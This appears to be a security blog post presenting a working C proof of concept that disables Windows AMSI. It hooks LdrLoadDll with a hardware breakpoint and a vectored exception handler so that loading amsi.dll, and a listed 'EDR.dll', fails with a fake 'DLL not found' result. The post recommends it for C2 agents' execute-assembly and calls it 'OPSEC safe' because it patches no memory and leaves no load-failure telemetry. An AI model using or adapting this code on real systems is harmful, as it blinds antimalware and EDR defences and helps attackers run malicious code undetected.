If you don’t want Anti-Malware Scan Interface (AMSI) then DON’T LOAD IT
Quick PoC that disables AMSI by preventing the amsi.dll
from being loaded into the process. This could be useful for C2 agents that have execute-assembly functionality and don’t want AMSI being enabled.
Process Monitor (from Sysinternals) gives us a good idea about what’s happening when a DLL is being loaded into a process. All the file system activity is happing inside the LoadLibrary function.
We can open something like the CreateFileMapping
Win32 API call and look at the stack trace to verify it happened from inside the LoadLibraryExW
function. We could hook any of these functions, but every LoadLibrary
variation uses LdrLoadDll
so that's a really good choice and high in the call stack.
The PoC puts a hardware breakpoint on LdrLoadDll
, and then checks the name of every DLL being loaded, and if it finds amsi.dll
, simulates a STATUS_DLL_NOT_FOUND
error.
If we look at Procmon now after adding the hook, there are actually no Win32 APIs calls related to loading amsi.dll
because we hooked LdrLoadDll
which is so early inside the LoadLibrary
function, it never tries to open the file or make any syscalls. It also means there is no telemetry of the LoadLibrary
failing.
Its also got the advantage of not patching any memory to be OPSEC safe.
#include <Windows.h>
#include <winternl.h>
#include <stdio.h>
#define ArraySize(x) (sizeof x / sizeof x[0])
typedef NTSTATUS (NTAPI* LdrLoadDll)(
IN PWCHAR PathToFile OPTIONAL,
IN ULONG Flags OPTIONAL,
IN PUNICODE_STRING ModuleFileName,
OUT PHANDLE ModuleHandle
);
LdrLoadDll fnLdrLoadDll = NULL;
LONG WINAPI ExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo) {
PCWCHAR blockedDLLs[] = {
L"amsi.dll",
L"EDR.dll",
};
// Check if this is a single-step exception caused by a hardware breakpoint
if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) {
// Check if the breakpoint was hit for LdrLoadDll
if (ExceptionInfo->ExceptionRecord->ExceptionAddress == fnLdrLoadDll) {
// x64 calling convention, 3rd parameter is in R8
PUNICODE_STRING moduleName = (PUNICODE_STRING)ExceptionInfo->ContextRecord->R8;
if (moduleName && moduleName->Buffer) {
for (DWORD i = 0; i < ArraySize(blockedDLLs); i++) {
// Performs a case-insensitive comparison of strings
if (_wcsicmp(moduleName->Buffer, blockedDLLs[i]) == 0) {
// we dont want to load it, so simulate a ret
ExceptionInfo->ContextRecord->Rip = *(ULONG_PTR*)ExceptionInfo->ContextRecord->Rsp;
ExceptionInfo->ContextRecord->Rsp += sizeof(PVOID);
ExceptionInfo->ContextRecord->Rax = STATUS_DLL_NOT_FOUND;
wprintf(L"BLOCKED: %wZ\n", moduleName);
break;
}
}
}
// Set the resume flag before continuing execution
ExceptionInfo->ContextRecord->EFlags |= 0x10000;
return EXCEPTION_CONTINUE_EXECUTION;
}
}
return EXCEPTION_CONTINUE_SEARCH;
}
void EnableBreakpoint(HANDLE hThread, const PVOID address) {
CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
if (!GetThreadContext(hThread, &context)) {
return;
}
context.Dr0 = (DWORD_PTR)address;
context.Dr7 |= 1; // Enable the breakpoint for execution on DR0
// Set the thread context with the updated debug registers
if (!SetThreadContext(hThread, &context)) {
return;
}
}
int main(void) {
HMODULE ntdll = GetModuleHandle(TEXT("ntdll.dll"));
if (!ntdll) return 1;
fnLdrLoadDll = (LdrLoadDll)GetProcAddress(ntdll, "LdrLoadDll");
if (!fnLdrLoadDll) return 1;
HANDLE hExHandler = AddVectoredExceptionHandler(1, ExceptionHandler);
EnableBreakpoint(GetCurrentThread(), fnLdrLoadDll);
HMODULE amsi = LoadLibrary(TEXT("amsi.dll"));
if (!amsi) {
printf("LoadLibrary failed: %lu\n", GetLastError());
// I bet you'll get
// ERROR_MOD_NOT_FOUND 126 (0x7E)
// https://learn.microsoft.com/en-us/windows/win32/debug/system-error-codes--0-499-
}
return 0;
}